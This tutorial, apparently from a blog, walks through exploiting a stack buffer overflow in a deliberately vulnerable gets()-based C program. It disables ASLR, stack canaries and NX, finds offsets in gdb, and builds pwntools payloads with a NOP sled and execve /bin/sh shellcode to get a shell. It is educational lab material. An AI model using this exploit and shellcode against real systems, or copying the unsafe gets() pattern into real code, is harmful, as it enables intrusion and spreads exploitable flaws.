##Creating vulnerable C app Let's write vulnerable C programm. Name this file `test.c` ```c #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main (int argc,char **argv){ char buffer[64]; gets(buffer); } ``` It is a simple program that reads input and puts it to the buffer. We need to compile it to executable with special options. At first we need to turn off ASLR. It is a mechanism which randomly arranges the address space of a process each time it runs. ```bash sudo su echo 0 > /proc/sys/kernel/randomize_va_space ``` To test it ```bash cat /proc/sys/kernel/randomize_va_space ``` Result should be 0. Now compile application with these flags. ``` gcc test.c -o test -fno-stack-protector -z execstack ``` `-fno-stack-protector` - no stack canaries will be present in stack. These are known values which are placed between the buffer and the critical values like Return pointer in order to detect an attempt to overwrite it. `-z execstack` - makes stack executable. There is such thing as __Data Execution Policy (DEP)/NX/XD__. It disables the execution of code in memory pages which are marked non-executable. In our example we need to execute code from stack. So we will turn it off. ##Reversing vulnerable app Disassemble executable with gdb ``` gdb test ``` Disassemble main function of our app [Image Name 2]:https://secretnotes.space/articleimage?id=292 ![Image Name 2] Let's set breakpoint before main returns ``` break *0x0000000000401160 ``` Run programm ``` run ``` Application will expect input from user. Then it will take this input and put it to the buffer array. The length of the array is 64 chars. If we put more than 64 chars we will get segmentation fault and maybe we will overwrite return adress. Let's provide input for application which consists of a lot of A symbols and then we will look on the registers before the return instruction is run. [Image Name 3]:https://secretnotes.space/articleimage?id=293 ![Image Name 3] As we can see we have overwritten rbp with our input but we failed to overwrite rip. The problem is not in the length of our input. rip will not be overwritten no matter how many 'A' we will provide. Only canonical adress can be set in the rip register. In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical. So let's first find the offset of rbp and then try to overwrite rip with canonical adress. We will use python to generate the input for the application. Open another terminal window and create file `exploit.py` with next content. We will assume that rbp is the next 8 bytes after 64 buffer. ```py payload = b"\x41" * 64 # \x41 is A payload += b"\x42" * 8 # \x42 is B with open('exploit.txt','wb') as f: f.write(payload) ``` Run this script ```py python3 exploit.py ``` File `exploit.txt` should be created. Now we can use this file as input in gdb. ``` run < exploit.txt ``` And looks like rbp is the next 8 bytes after buffer char array. [Image Name 4]:https://secretnotes.space/articleimage?id=294 ![Image Name 4] rip has to be near. But to overwrite it we need canonical adress. Let's try adress from stack. Print some values from it. ``` x/50x $rsp ``` Let's take 0x7FFFFFFFe3e8 [Image Name 5]:https://secretnotes.space/articleimage?id=296 ![Image Name 5] In order to pack this value with proper endianess we can use `pwntools` python library. Let's create virtual environment. ``` sudo apt install python3-venv python3 -m venv [env-name] ``` Activate enviroment ``` source [path-to-env-folder]/bin/activate ``` Now install pwntools ``` pip install pwntools ``` Change a bit python script we created earlier ```py from pwn import * offset = b"\x41" * 64 rbp = b"\x42" * 8 rip = p64(0x7fffffffe3e8) with open('exploit2.txt','wb') as f: f.write(offset + rbp + rip) ``` Run script ``` python3 exploit.py ``` Run app in gdb with input generated by script ``` run < exploit.txt ``` Looks like next 8 bytes after rbp is our rip pointer. [Image Name 7]:https://secretnotes.space/articleimage?id=297 ![Image Name 7] Now rip points to some area in the stack. We can put shellcode to the stack and make rip point to the shellcode. Proper shellcode can be found at [shell-strom database](http://shell-storm.org). Let's take `Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad'`. Here is the payload we need to put to the stack. ``` "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" ``` Also it is good idea to put some NOPes ("\x90" byte which means no operation instruction. CPU will just skip it and run next operation) before and after shellcode. In this case if we miss with the rip pointer a bit we can hit nopes and shellcode will be still executed. So change our python script. ```py from pwn import * offset = b"\x41" * 64 rbp = b"\x42" * 8 rip = p64(0x7fffffffe3e8) nopes1 = b"\x90" * 40 shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" nopes2 = b"\x90" * 20 with open('exploit2.txt','wb') as f: f.write(offset + rbp + rip + nopes1 + shellcode + nopes2) ``` Run it ``` python3 exploit.py ``` Payload is now in the `exploit.txt` file so use it as input in gdb. The only thing we might have to change is the rip adress. Let's run and see. ``` run < exploit.txt ``` Look on the stack when our input is loaded. [Image Name 8]:https://secretnotes.space/articleimage?id=298 ![Image Name 8] We need to hit with rip pointer somewhere middle of the nopes. So the adress 0x7FFFFFFFE380 will be fine. Change our script again and run it. ``` from pwn import * offset = b"\x41" * 64 rbp = b"\x42" * 8 rip = p64(0x7fffffffe380) nopes1 = b"\x90" * 40 shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" nopes2 = b"\x90" * 20 with open('exploit2.txt','wb') as f: f.write(offset + rbp + rip + nopes1 + shellcode + nopes2) ``` Run script ``` python3 exploit.py ``` Now run gdb with input from exploit.txt ``` run < exploit.txt ``` When execution of the programm hits adress where rip is pointing to slow down for a bit and check the next let's say 40 instructions where rip is pointing. It can be achived with ``` x/40i $rip ``` And what we can see [Image Name 9]:https://secretnotes.space/articleimage?id=299 ![Image Name 9] Here is our nop slide following with shellcode and the rest of nopes. We can compare what is located in memory to the operations specified in the file we took shellcode from. [Image Name 10]:https://secretnotes.space/articleimage?id=300 ![Image Name 10] Now we can run the rest of programm step by step also checking next commands where rip is pointing to. To make 1 step. ``` si ``` To check next 10 commands ``` x/10i $rip ``` When the last command from the shellcode is run we should see something like this. [Image Name 11]:https://secretnotes.space/articleimage?id=301 ![Image Name 11] It means we have executed a shell. It is time to run it without gdb. What can go wrong?) ##Exploit works in gdb but not without it Let's run our vulnerable application without gdb attached to it. ``` ./test < exploit.txt ``` 99% that we will get segmentation fault. This means rip is pointing to some bad memory. The reason of successfull run in gdb and failure without gdb lies in enviroment variables and arguments. We don't have arguments so the problem is in environment variables. To check enviroment variables ``` printenv ``` To check environment variables in gdb ``` show environment ``` We can see that they are different. That is why our rip starts pointing to some bad memory. To fix this we can set in gdb same environment variables as they are when we try to run our app. To delete all environment variables in gdb. ``` unset environment ``` Now set in gdb same environment variables as they are in system ``` set environment [name]=[value] ``` When all environment variables are the same or at least most of them we can try to run app in gdb again. ``` gdb test ``` Set breakpoint before the return ``` break *[adress] ``` Run app ``` run < exploit.txt ``` Check the stack ``` x/50x $rsp ``` We need to have a new value for our rip. Choose some adress that points to the middle of the nopes but before shellcode. Take that adress and put to the `rip` variable in python script. Run python script. ``` python3 exploit.py ``` Now we can run app outside of gdb. ``` ./test < exploit.txt ``` If the application showed no errors it means it ended successfully. To get interactive shell we should run it this way ``` (cat exploit.txt; cat) | ./test ``` And we get interactive shell [Image Name 12]:https://secretnotes.space/articleimage?id=302 ![Image Name 12] ##Getting SIGILL, Illegal instruction during programm execution This usually hapens when shellcode is getting very close to rsp pointer. Then shellcode starts running and corrupting itself during push commands. This can be checked if we run programm step by step and keeping eye on the instructions where rip is pointing too. At first it will be valid shellcode but after few push commands we will see (bad) instructions which are the reason of SIGILL. In the example we used such input: NOPES + RBP + RIP + NOPES + SHELLCODE + NOPES which was OK. But we can easily get SIGILL if we change a bit our input to: NOPES + SHELLCODE + RBP + RIP. Operations on the stack will use adress space of shellcode which will be the result of its corruption. To fix this we can use first option of payload, putting shellcode after RBP and RIP and pointing rip there. Or we can add padding to shellcode: NOPES + SHELLCODE + NOPES + RBP + RIP.